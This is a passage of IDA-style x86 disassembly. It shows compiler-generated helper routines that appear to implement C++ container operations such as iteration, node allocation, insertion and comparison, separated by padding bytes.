call sub_401465
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401CD5
sub_4150F0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415160 proc near ; CODE XREF: sub_4012E9j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40208B
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401DA7
mov eax, esi
pop esi
retn 4
sub_415160 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4151A0 proc near ; CODE XREF: sub_401D89j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401DA7
mov eax, esi
pop esi
retn 4
sub_4151A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4151D0 proc near ; CODE XREF: sub_40147Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401D89
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40215D
sub_4151D0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415210 proc near ; CODE XREF: sub_401258j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_401D89
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4012E9
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401D5C
test al, al
jz short loc_415291
push edi
mov edi, [esp+14h+arg_0]
loc_415243: ; CODE XREF: sub_415210+7Ej
lea ecx, [esp+14h+var_C]
call sub_401FA5
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415275
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_40156E
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401FAF
; ---------------------------------------------------------------------------
jmp short loc_41527E
; ---------------------------------------------------------------------------
loc_415275: ; CODE XREF: sub_415210+42j
lea ecx, [esp+14h+var_C]
call sub_4020A4
loc_41527E: ; CODE XREF: sub_415210+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401D5C
test al, al
jnz short loc_415243
pop edi
loc_415291: ; CODE XREF: sub_415210+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415210 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152D0 proc near ; CODE XREF: sub_401E1Fj
push esi
mov esi, ecx
call sub_401EB5
mov eax, esi
pop esi
retn
sub_4152D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152F0 proc near ; CODE XREF: sub_401FA5j
mov eax, [ecx]
push eax
call sub_401EFB
add esp, 4
retn
sub_4152F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415310 proc near ; CODE XREF: sub_4020A4j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40208B
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415310 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415340 proc near ; CODE XREF: sub_401D5Cj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015CD
neg al
sbb eax, eax
inc eax
retn 4
sub_415340 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415370 proc near ; CODE XREF: sub_401F05j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401C7B
sub_415370 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4153B0 proc near ; CODE XREF: sub_4011B8j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402234
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401983
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401E1A
sub_4153B0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415420 proc near ; CODE XREF: sub_401983j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401249
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401CC6
mov eax, esi
pop esi
retn 4
sub_415420 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415460 proc near ; CODE XREF: sub_402234j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401CC6
mov eax, esi
pop esi
retn 4
sub_415460 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415490 proc near ; CODE XREF: sub_401EF1j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402234
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401A96
sub_415490 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4154D0 proc near ; CODE XREF: sub_401924j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402234
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401983
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
pop esi
add esp, 0Ch
retn
sub_4154D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415520 proc near ; CODE XREF: sub_401154j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_402234
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_401983
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401AD7
test al, al
jz short loc_4155A1
push edi
mov edi, [esp+14h+arg_0]
loc_415553: ; CODE XREF: sub_415520+7Ej
lea ecx, [esp+14h+var_C]
call sub_4011D1
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415585
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_4017DF
; ---------------------------------------------------------------------------
jmp short loc_41558E
; ---------------------------------------------------------------------------
loc_415585: ; CODE XREF: sub_415520+42j
lea ecx, [esp+14h+var_C]
call sub_4018B6
loc_41558E: ; CODE XREF: sub_415520+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401AD7
test al, al
jnz short loc_415553
pop edi
loc_4155A1: ; CODE XREF: sub_415520+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415520 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155E0 proc near ; CODE XREF: sub_401037j
push esi
mov esi, ecx
call sub_401E79
mov eax, esi
pop esi
retn
sub_4155E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415600 proc near ; CODE XREF: sub_4011D1j
mov eax, [ecx]
push eax
call sub_402126
add esp, 4
retn
sub_415600 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415620 proc near ; CODE XREF: sub_4018B6j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415620 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415650 proc near ; CODE XREF: sub_401AD7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401EA6
neg al
sbb eax, eax
inc eax
retn 4
sub_415650 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415680 proc near ; CODE XREF: sub_401843j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401DA2
sub_415680 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4156C0 proc near ; CODE XREF: sub_4014B5j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018F2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401401
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401EF6
sub_4156C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415730 proc near ; CODE XREF: sub_4018F2j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_401BB8
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D66
mov eax, esi
pop esi
retn 4
sub_415730 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415770 proc near ; CODE XREF: sub_40114Aj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D66
mov eax, esi
pop esi
retn 4
sub_415770 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4157A0 proc near ; CODE XREF: sub_401406j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40114A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401CFD
sub_4157A0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4157E0 proc near ; CODE XREF: sub_401C62j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4018F2
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401401
pop esi
add esp, 0Ch
retn
sub_4157E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415830 proc near ; CODE XREF: sub_402130j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_8]
push esi
mov esi, ecx
push eax
call sub_40114A
lea ecx, [esp+10h+var_C]
push ecx
mov ecx, esi
call sub_4018F2
lea edx, [esp+10h+var_8]
lea ecx, [esp+10h+var_C]
push edx
call sub_401339
test al, al
jz short loc_4158B1
push edi
mov edi, [esp+14h+arg_0]
loc_415863: ; CODE XREF: sub_415830+7Ej
lea ecx, [esp+14h+var_C]
call sub_40135C
mov eax, [eax]
mov ecx, [edi]
cmp eax, ecx
jnz short loc_415895
lea ecx, [esp+14h+arg_0]
push 0
push ecx
lea ecx, [esp+1Ch+var_C]
call sub_401EA1
mov edx, [eax]
lea eax, [esp+14h+var_4]
push edx
push eax
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
jmp short loc_41589E
; ---------------------------------------------------------------------------
loc_415895: ; CODE XREF: sub_415830+42j
lea ecx, [esp+14h+var_C]
call sub_40118B
loc_41589E: ; CODE XREF: sub_415830+63j
lea ecx, [esp+14h+var_8]
push ecx
lea ecx, [esp+18h+var_C]
call sub_401339
test al, al
jnz short loc_415863
pop edi
loc_4158B1: ; CODE XREF: sub_415830+2Cj
pop esi
add esp, 0Ch
retn 4
sub_415830 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4158F0 proc near ; CODE XREF: sub_402252j
push esi
mov esi, ecx
call sub_401E29
mov eax, esi
pop esi
retn
sub_4158F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415910 proc near ; CODE XREF: sub_40135Cj
mov eax, [ecx]
push eax
call sub_4017DA
add esp, 4
retn
sub_415910 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415930 proc near ; CODE XREF: sub_40118Bj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401BB8
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415930 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415960 proc near ; CODE XREF: sub_401339j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40144C
neg al
sbb eax, eax
inc eax
retn 4
sub_415960 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415990 proc near ; CODE XREF: sub_40113Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40208B
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401753
mov eax, esi
pop esi
retn 4
sub_415990 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4159D0 proc near ; CODE XREF: sub_4016CCj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401753
mov eax, esi
pop esi
retn 4
sub_4159D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415A00 proc near ; CODE XREF: sub_40215Dj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C4E
mov edi, eax
push edi
call sub_401104
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401EBA
sub_415A00 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401104
push edi
mov [eax], ebx
call sub_401104
mov edi, [eax]
push edi
call sub_401104
mov ecx, [eax]
push ecx
call sub_40208B
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401EFB
add esp, 4
mov ecx, esi
push eax
call sub_402194
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401DA7
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415AA0 proc near ; CODE XREF: sub_40172Bj
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
lea eax, [esp+4+arg_8]
lea ecx, [esp+4+arg_4]
push eax
call sub_401CA8
test al, al
jz short loc_415AED
push edi
mov edi, [esp+8+arg_0]
loc_415ABA: ; CODE XREF: sub_415AA0+4Aj
lea ecx, [esp+8+arg_4]
call sub_401A4B
push eax
lea ecx, [esp+0Ch+arg_0]
push edi
push ecx
mov ecx, esi
call sub_40215D
; ---------------------------------------------------------------------------
lea ecx, [esp+8+arg_4]
call sub_4020EF
lea edx, [esp+8+arg_8]
lea ecx, [esp+8+arg_4]
push edx
call sub_401CA8
test al, al
jnz short loc_415ABA
pop edi
loc_415AED: ; CODE XREF: sub_415AA0+13j
pop esi
retn 0Ch
sub_415AA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415B20 proc near ; CODE XREF: sub_401FAFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40156E
mov ecx, eax
call sub_401C4E
mov esi, eax
push esi
call sub_40208B
push esi
mov ebx, eax
call sub_401104
mov ecx, [eax]
push ecx
call sub_40208B
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401104
push esi
mov ebx, eax
call sub_40208B
mov eax, [eax]
push eax
call sub_401104
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401EFB
add esp, 1Ch
mov ecx, edi
push eax
call sub_4014F6
push esi
mov ecx, edi
call sub_401CD5
sub_415B20 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415BE0 proc near ; CODE XREF: sub_401465j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401D5C
test al, al
jz short loc_415C3A
loc_415BF8: ; CODE XREF: sub_415BE0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40156E
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FAF
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401D5C
test al, al
jnz short loc_415BF8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415C3A: ; CODE XREF: sub_415BE0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415BE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415C70 proc near ; CODE XREF: sub_401EBAj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4020D6
sub_415C70 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415C85
mov edi, esi
loc_415C85: ; CODE XREF: ___:00415C81j
push esi
call sub_40208B
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415C9A
mov edi, esi
loc_415C9A: ; CODE XREF: ___:00415C96j
push esi
call sub_401104
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415CC0 proc near ; CODE XREF: sub_401CD5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401E01
sub_415CC0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415CE0 proc near ; CODE XREF: sub_40208Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_415CE0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D00 proc near ; CODE XREF: sub_401EFBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_415D00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D20 proc near ; CODE XREF: sub_401EB5j
mov eax, ecx
retn
sub_415D20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D40 proc near ; CODE XREF: sub_401DA7j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401753
mov eax, esi
pop esi
retn 4
sub_415D40 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415D70 proc near ; CODE XREF: sub_40156Ej
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4020A4
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_415D70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DA0 proc near ; CODE XREF: sub_4015CDj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_415DA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415DD0 proc near ; CODE XREF: sub_401A96j
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401F6E
mov edi, eax
push edi
call sub_401163
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401C7B
sub_415DD0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401163
push edi
mov [eax], ebx
call sub_401163
mov edi, [eax]
push edi
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_402126
add esp, 4
mov ecx, esi
push eax
call sub_4015E6
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
mov esi, [esp+14h]
mov ecx, esi
call sub_401CC6
mov eax, esi
pop edi
pop esi
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415E70 proc near ; CODE XREF: sub_4017DFj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4010DC
mov ecx, eax
call sub_401F6E
mov esi, eax
push esi
call sub_401249
push esi
mov ebx, eax
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401163
push esi
mov ebx, eax
call sub_401249
mov eax, [eax]
push eax
call sub_401163
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_402126
add esp, 1Ch
mov ecx, edi
push eax
call sub_401D4D
push esi
mov ecx, edi
call sub_401E1A
sub_415E70 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415F30 proc near ; CODE XREF: sub_40132Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401AD7
test al, al
jz short loc_415F8A
loc_415F48: ; CODE XREF: sub_415F30+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4017DF
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401AD7
test al, al
jnz short loc_415F48
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415F8A: ; CODE XREF: sub_415F30+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415F30 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415FC0 proc near ; CODE XREF: sub_401C7Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4015A5
sub_415FC0 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415FD5
mov edi, esi
loc_415FD5: ; CODE XREF: ___:00415FD1j
push esi
call sub_401249
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415FEA
mov edi, esi
loc_415FEA: ; CODE XREF: ___:00415FE6j
push esi
call sub_401163
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_416010 proc near ; CODE XREF: sub_401E1Aj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4010D7
sub_416010 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416030 proc near ; CODE XREF: sub_401249j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_416030 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416050 proc near ; CODE XREF: sub_402126j
arg_0 = dword ptr 4
